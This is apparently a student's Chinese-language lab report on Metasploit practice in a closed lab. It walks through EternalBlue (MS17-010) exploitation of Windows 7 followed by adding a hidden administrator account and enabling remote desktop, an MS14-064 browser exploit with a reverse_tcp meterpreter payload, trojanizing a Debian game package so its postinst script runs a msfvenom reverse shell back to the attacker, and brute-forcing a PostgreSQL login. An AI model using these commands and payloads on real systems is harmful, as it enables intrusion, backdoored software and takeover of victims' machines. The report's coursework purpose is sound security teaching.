实践过程
一、主动攻击的实践
MS17-010 (永恒之蓝)实现 Windows Getshell
漏洞复现环境
- 渗透机 parrot linux
- 靶机 windows 7 (关防火墙)
流程
1、进入MSF框架,搜索 ms17-010 模块
其中 auxiliary/scanner/smb/smb_ms17_010
是永恒之蓝扫描模块,exploit/windows/smb/ms17_010_eternalblue
是永恒之蓝渗透代码,前者先扫描,若显示有漏洞,再进行渗透。
2、使用扫描模块扫描漏洞
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.131.140
run
截图中 Host is likely vulnerable to ms17-010
,表明存在风险漏洞
3、使用渗透模块进行渗透
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.131.140
exploit
可以看到直接获得了 windows7 的 shell
4、通过 shell 远程桌面 windows7
创建用户名密码
blue/blue net user blue blue /add
将用户blue添加入管理组
net localgroup administrators blue /add
开启远程桌面功能
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
打开新的终端,切换为 root 用户,输入
rdesktop 192.168.131.140:3389
成功远程连接 windows7
二、针对浏览器的攻击实践
ms14_064
漏洞复现环境
- 渗透机 parrot linux
- 靶机 windows 7 (关防火墙)
流程
1、搜索 ms14_064 模块
search ms14_064
可以看到第一个模块和浏览器有关,就选它了
2、发起攻击
use exploit/windows/browser/ms14_064_ole_code_execution
set payload windows/meterpreter/reverse_tcp
set SRVHOST 192.168.131.129
set LHOST 192.168.131.129
set LPORT 5223
exploit
可以看到恶意服务开启在 8080 端口, Using URL 就是 IE 浏览器要打开的 url
3、靶机用IE访问这个url后就会执行我们的恶意代码,建立新的连接。sessions -i 1进入新建的会话,成功获取shell
三、针对客户端的攻击
deb 包诱骗
实验环境
- parrot 攻击机
- parrot home 靶机
流程
一、下载 deb 包
- 这里我下载 freesweep (一款终端小游戏),使用
--download-only
命令让其不安装sudo apt-get --download-only install freesweep
cd /var/cache/apt/archives/
,我们可以看到下载好的deb
包:freesweep_1.0.1-1_amd64.deb
。cp
到自己的工作目录下
二、修改 deb 包
-
解压
deb
包sudo dpkg -x freesweep_1.0.1-1_amd64.deb free 解压包,把解压的文件放在free这个目录
-
新建
DEBIAN
目录cd free mkdir DEBIAN 安装 deb 包时会读取,执行 DEBIAN 内的文件
-
编写脚本文件
在
DEBIAN
目录下创建control
和postinst
两文件touch control && touch postinst
control
文件存放包的描述信息,如下需要注意的是,Architecture 一栏要填写目标机器的处理器架构,否则无法安装
postinst
是一个脚本文件,里面的内容在deb
包安装时会执行将以下内容写入
postinst
中#!/bin/bash sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &
注意,这里的
/usr/games
不是根目录下的/usr
,是指deb
在安装时会执行 安装包下的/usr目录中的文件所以我们将
payload
附加到deb
包 /usr/games/ 目录下的可执行文件后面即可msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=192.168.131.129 LPORT=4444 -b "x00" -f elf -o /home/mt/mycs/free/usr/games/freesweep _scores_
-
重新打包
先要赋予
postinst
可执行的权限sudo chmod 755 postinst
使用
sudo dpkg-deb --build /home/mt/mycs/free
命令打包
至此,修改 deb
包成功
三、监听并获得 shell
-
攻击机打开监听
-
另一台 linux (parrot home) 安装
deb
包dpkg -i free.deb
可以发现像正常软件一样安装成功(图中的 Freesweep)
-
获得 shell
在
deb
包被安装,我的攻击机显示建立了一个新的会话输入 ls ,发现已经获得了目标机的 shell
四、成功应用任何一个辅助模块
不管选哪个模块,攻击哪种服务,我都要先把自己的密码改为 postgres
式的弱口令……
渗透攻击PostgreSQL数据库服务
-
将
postgresql
数据库的密码改为postgres
,为了能爆破成功su postgres psql ALTER USER postgres WITH PASSWORD 'postgres';
-
search postgres type:auxiliary
查找可用模块 -
use auxiliary/scanner/postgres/postgres_login
进入模块 -
set RHOSTS 192.168.131.130
,设置爆破的主机 -
exploit
我们可以看到
postgres:postgres
,即用户postgres
的密码是postgres
看起来很酷,但是没有实际价值。还有攻击 mysql
,ssh
之类的,也都是穷举爆破。
实践总结与体会
基础问题问答
1、用自己的话解释什么是exploit, payload, encode
-
exploit: 渗透攻击,通过寻找并利用靶机的漏洞实现非授权行为甚至直接完全取得被攻击机的控制权
-
payload:载荷,有效负载。实现非授权操作时执行攻击代码的那部分,可以是一段代码
-
encode:编码。在之前的实验中曾利用encode寻求后门程序的免杀
2、离实战还缺些什么技术或步骤
- 实验中防火墙处于关闭状态,实战要绕过防火墙
- 实验中攻击的漏洞在现实中早有了补丁,实战要挖掘新的漏洞
- 针对客户端的攻击中,我们如何才能让对方下载并安装含有后门的软件?这就是社会工程学的内容了
实验体会
设置强度较高的密码,拒绝来源不明的软件很有必要。